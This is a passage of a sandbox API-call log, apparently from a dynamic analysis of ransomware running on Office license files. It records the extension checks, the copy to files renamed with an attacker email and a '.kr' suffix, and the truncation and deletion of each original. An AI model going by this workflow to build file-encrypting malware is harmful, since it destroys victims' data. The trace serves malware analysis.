(lpString=".doc") returned 4 [0204.710] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString=".docx") returned 5 [0204.710] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.710] lstrlenW (lpString=".pdf") returned 4 [0204.710] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString=".xls") returned 4 [0204.710] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString=".xlsx") returned 5 [0204.710] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.710] lstrlenW (lpString=".ppt") returned 4 [0204.710] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.710] lstrlenW (lpString=".zip") returned 4 [0204.710] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString=".rar") returned 4 [0204.710] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString=".bz2") returned 4 [0204.710] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString=".7z") returned 3 [0204.710] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.710] lstrlenW (lpString=".dbf") returned 4 [0204.710] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.710] lstrlenW (lpString=".1cd") returned 4 [0204.711] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.711] lstrlenW (lpString=".jpg") returned 4 [0204.711] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.711] lstrlenW (lpString=".doc") returned 4 [0204.711] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.711] lstrlenW (lpString=".docx") returned 5 [0204.711] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.711] lstrlenW (lpString=".pdf") returned 4 [0204.711] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.711] lstrlenW (lpString=".xls") returned 4 [0204.711] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.711] lstrlenW (lpString=".xlsx") returned 5 [0204.711] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.711] lstrlenW (lpString=".ppt") returned 4 [0204.711] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.711] lstrlenW (lpString=".zip") returned 4 [0204.711] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.711] lstrlenW (lpString=".rar") returned 4 [0204.711] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.711] lstrlenW (lpString=".bz2") returned 4 [0204.711] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.711] lstrlenW (lpString=".7z") returned 3 [0204.711] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.711] lstrlenW (lpString=".dbf") returned 4 [0204.711] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.711] lstrlenW (lpString=".1cd") returned 4 [0204.711] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.712] lstrlenW (lpString=".jpg") returned 4 [0204.712] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.712] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.712] lstrlenW (lpString="O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 40 [0204.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.712] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11646) returned 1 [0204.713] CloseHandle (hObject=0x38c) returned 1 [0204.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms")) returned 0x220 [0204.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.713] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.713] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0204.714] GetLastError () returned 0x0 [0204.714] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d7e, lpOverlapped=0x0) returned 1 [0204.716] WriteFile (in: hFile=0x54c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0204.717] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.717] WriteFile (in: hFile=0x54c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x124, lpOverlapped=0x0) returned 1 [0204.717] SetEndOfFile (hFile=0x54c) returned 1 [0204.717] CloseHandle (hObject=0x54c) returned 1 [0204.717] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.717] SetEndOfFile (hFile=0x38c) returned 1 [0204.720] CloseHandle (hObject=0x38c) returned 1 [0204.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms")) returned 1 [0204.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.721] lstrlenW (lpString=".doc") returned 4 [0204.721] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.721] lstrlenW (lpString=".docx") returned 5 [0204.721] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.721] lstrlenW (lpString=".pdf") returned 4 [0204.721] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.721] lstrlenW (lpString=".xls") returned 4 [0204.722] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.722] lstrlenW (lpString=".xlsx") returned 5 [0204.722] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.722] lstrlenW (lpString=".ppt") returned 4 [0204.722] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.722] lstrlenW (lpString=".zip") returned 4 [0204.722] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.722] lstrlenW (lpString=".rar") returned 4 [0204.722] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.722] lstrlenW (lpString=".bz2") returned 4 [0204.722] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.722] lstrlenW (lpString=".7z") returned 3 [0204.722] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.722] lstrlenW (lpString=".dbf") returned 4 [0204.722] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.722] lstrlenW (lpString=".1cd") returned 4 [0204.722] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.722] lstrlenW (lpString=".jpg") returned 4 [0204.722] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.722] lstrlenW (lpString=".doc") returned 4 [0204.722] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.722] lstrlenW (lpString=".docx") returned 5 [0204.722] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.722] lstrlenW (lpString=".pdf") returned 4 [0204.722] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.722] lstrlenW (lpString=".xls") returned 4 [0204.723] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.723] lstrlenW (lpString=".xlsx") returned 5 [0204.723] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.723] lstrlenW (lpString=".ppt") returned 4 [0204.723] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.723] lstrlenW (lpString=".zip") returned 4 [0204.723] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.723] lstrlenW (lpString=".rar") returned 4 [0204.723] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.723] lstrlenW (lpString=".bz2") returned 4 [0204.723] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.723] lstrlenW (lpString=".7z") returned 3 [0204.723] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.723] lstrlenW (lpString=".dbf") returned 4 [0204.723] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.723] lstrlenW (lpString=".1cd") returned 4 [0204.723] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90 [0204.723] lstrlenW (lpString=".jpg") returned 4 [0204.723] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.723] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.723] lstrlenW (lpString="O365ProPlusR_Subscription5-pl.xrm-ms") returned 36 [0204.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.724] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11195) returned 1 [0204.724] CloseHandle (hObject=0x38c) returned 1 [0204.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms")) returned 0x220 [0204.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.725] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.725] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0204.726] GetLastError () returned 0x0 [0204.726] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0204.727] WriteFile (in: hFile=0x54c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0204.729] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.729] WriteFile (in: hFile=0x54c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0204.729] SetEndOfFile (hFile=0x54c) returned 1 [0204.729] CloseHandle (hObject=0x54c) returned 1 [0204.729] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.729] SetEndOfFile (hFile=0x38c) returned 1 [0204.732] CloseHandle (hObject=0x38c) returned 1 [0204.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms")) returned 1 [0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.734] lstrlenW (lpString=".doc") returned 4 [0204.734] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.734] lstrlenW (lpString=".docx") returned 5 [0204.734] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.734] lstrlenW (lpString=".pdf") returned 4 [0204.734] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.734] lstrlenW (lpString=".xls") returned 4 [0204.734] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.734] lstrlenW (lpString=".xlsx") returned 5 [0204.734] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.734] lstrlenW (lpString=".ppt") returned 4 [0204.734] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.734] lstrlenW (lpString=".zip") returned 4 [0204.734] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.734] lstrlenW (lpString=".rar") returned 4 [0204.734] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.734] lstrlenW (lpString=".bz2") returned 4 [0204.734] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.734] lstrlenW (lpString=".7z") returned 3 [0204.734] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.734] lstrlenW (lpString=".dbf") returned 4 [0204.734] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.734] lstrlenW (lpString=".1cd") returned 4 [0204.734] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.734] lstrlenW (lpString=".jpg") returned 4 [0204.734] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.735] lstrlenW (lpString=".doc") returned 4 [0204.735] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.735] lstrlenW (lpString=".docx") returned 5 [0204.735] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.735] lstrlenW (lpString=".pdf") returned 4 [0204.735] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.735] lstrlenW (lpString=".xls") returned 4 [0204.735] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.735] lstrlenW (lpString=".xlsx") returned 5 [0204.735] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.735] lstrlenW (lpString=".ppt") returned 4 [0204.735] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.735] lstrlenW (lpString=".zip") returned 4 [0204.735] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.735] lstrlenW (lpString=".rar") returned 4 [0204.735] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.735] lstrlenW (lpString=".bz2") returned 4 [0204.735] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.735] lstrlenW (lpString=".7z") returned 3 [0204.735] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.735] lstrlenW (lpString=".dbf") returned 4 [0204.735] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.735] lstrlenW (lpString=".1cd") returned 4 [0204.735] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86 [0204.735] lstrlenW (lpString=".jpg") returned 4 [0204.735] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.736] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.736] lstrlenW (lpString="O365ProPlusR_Subscription5-ppd.xrm-ms") returned 37 [0204.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.737] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=28261) returned 1 [0204.737] CloseHandle (hObject=0x38c) returned 1 [0204.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms")) returned 0x220 [0205.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0205.189] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.189] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0205.190] GetLastError () returned 0x0 [0205.190] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x6e65, lpOverlapped=0x0) returned 1 [0205.338] WriteFile (in: hFile=0x548, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x6e70, lpOverlapped=0x0) returned 1 [0205.339] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.339] WriteFile (in: hFile=0x548, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11e, lpOverlapped=0x0) returned 1 [0205.339] SetEndOfFile (hFile=0x548) returned 1 [0205.347] CloseHandle (hObject=0x548) returned 1 [0205.358] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.358] SetEndOfFile (hFile=0x3f8) returned 1 [0205.374] CloseHandle 